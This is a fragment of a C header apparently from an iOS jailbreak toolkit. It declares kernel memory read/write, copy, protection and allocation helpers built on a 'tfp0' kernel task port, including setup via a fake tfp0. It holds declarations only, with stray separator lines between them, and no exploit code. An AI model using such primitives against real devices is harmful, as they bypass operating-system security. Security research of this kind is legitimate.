vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate (
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect (
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(uint64_t where, void *p, size_t size);
|
||||
size_t kwrite(uint64_t where, const void *p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(uint64_t kaddr);
|
||||
uint64_t ReadKernel64(uint64_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
int have_kmem_read(void);
|
||||
int have_kmem_write(void);
|
||||
|
||||
#endif
|
||||